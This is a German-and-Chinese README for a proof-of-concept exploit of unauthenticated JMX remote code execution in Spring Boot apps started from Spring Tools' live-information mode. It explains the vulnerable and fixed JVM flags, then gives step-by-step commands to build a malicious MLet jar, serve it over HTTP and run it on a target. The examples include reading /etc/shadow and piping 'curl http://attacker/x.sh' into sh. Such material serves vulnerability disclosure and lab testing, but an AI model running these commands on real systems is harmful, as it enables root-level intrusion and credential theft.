
Proof-of-Concept-Exploit für unauthentifiziertes JMX-RCE im Live-Informationsmodus von Spring Tools, der mithilfe von MLet-Remote-Classloading beliebige Befehle auf verwundbaren Spring-Boot-Anwendungen ausführt.
English README | Sicherheitshinweis: Spring Security Advisory | CVE-Eintrag
Schwachstelle: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 injiziert beim Starten einer Spring-Boot-Anwendung im Live-Information-Modus (standardmäßig aktiviert) JMX-Remote-Parameter ohne Authentifizierung, ohne TLS und an alle Netzwerkkarten gebunden in die Anwendung. Angreifer aus angrenzenden Netzwerken können sich ohne Anmeldedaten mit dem JMX-MBeanServer verbinden und durch MLet-Remote-Klassenladen direkte RCE (Root-Rechte) erreichen.
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HVergleich des betroffenen Tags 5.2.0.RELEASE (== v2.2.0) mit dem behobenen Tag 5.3.0.RELEASE (== v2.3.0):
Anfällige Version eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: standardmäßig aktiviert, bei jedem Start einer Boot-Anwendung aus der IDE werden die oben genannten Parameter injiziert.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injiziert dieselben -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.Korrigierte Version 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true hinzugefügt (JMX bindet nur an das Loopback-Interface).com.sun.management.jmxremote*-Parameter mehr injiziert; stattdessen erfolgt ein lokales Anhängen über die Attach-API anhand der Prozess-PID (analog auf der VSCode-Seite, in debug-config-provider.ts werden die Remote-JMX-Parameter vollständig entfernt).Hinweis: Das alleinige Auftreten von
-Dcom.sun.management.jmxremote.portaktiviert bereits den JMX-Agent (der Hauptschaltercom.sun.management.jmxremoteist nicht erforderlich); dies gilt ebenso für die VSCode-Variante.
Die Skripte sind vollständig getrennt: setup-lab.sh ist ausschließlich für den Aufbau der Umgebung zuständig, attack.sh ausschließlich für die Angriffsausnutzung. Abhängigkeiten: docker, JDK 17+ (standardmäßig /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (optional).
setup-lab.sh)./setup-lab.sh vuln # 漏洞配置 (5.2.0 参数) [默认]
./setup-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
./setup-lab.sh fixed-auto # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
./setup-lab.sh cleanup # 停止并删除容器与网络
Automatische Ausführung: Erstellen der verwundbaren Spring Boot-Anwendung → Erstellen eines isolierten Docker-Bridge-Netzwerks (Opfercontainer 172.22.0.x, Angreifer auf dem Host, Simulation eines benachbarten Netzwerks) → Starten der Anwendung mit den JVM-Parametern der entsprechenden Version → Anzeigen des JMX-Listening-Ports → Ausgeben der Opfer-IP / des JMX-Ports / des Gateways. Der Opfercontainer bleibt in Betrieb, sodass direkt mit dem nächsten Angriffsschritt fortgefahren werden kann.
attack.sh)./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
# 自定义命令(默认 id; hostname; uname -a,改命令无需重编译)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000
利用脚本自动完成:编译恶意 jar → 生成 mlet.txt(命令经 <ARG> 传入)→ 起 HTTP 服务提供载荷 → 运行利用。载荷只执行命令并回显:命令经 /bin/sh -c 在受害 JVM 内同步执行,输出在内存中捕获,随后由利用程序经同一条 JMX 连接调用 Pwn.getOutput() 拉回攻击端直接显示(含退出码),目标机不写任何文件。若还想把输出留在目标机,在命令里自行重定向即可(如 "id > /tmp/out.txt")。
对照实验:先
./setup-lab.sh vuln攻击成功;再./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned攻击应失败(JMX 仅回环)。
attack.sh(推荐)命令完全可配置,改命令无需重新编译任何东西(命令经 MLET <ARG> 标签传入,jar 与命令无关):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
Prozess: Automatisches Kompilieren von evil.jar → XML-Escaping des Befehls und Generieren von mlet.txt → Starten eines HTTP-Dienstes, der evil.jar + mlet.txt bereitstellt → Kompilieren und Ausführen von JmxExploit. Die Payload ist nur für die Ausführung des Befehls und die Rückgabe der Ausgabe verantwortlich, es werden keine Dateien auf dem Zielrechner geschrieben.
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 自行验证命令是否执行(输出在受害应用控制台/日志里,如 docker exec victim tail /app.log)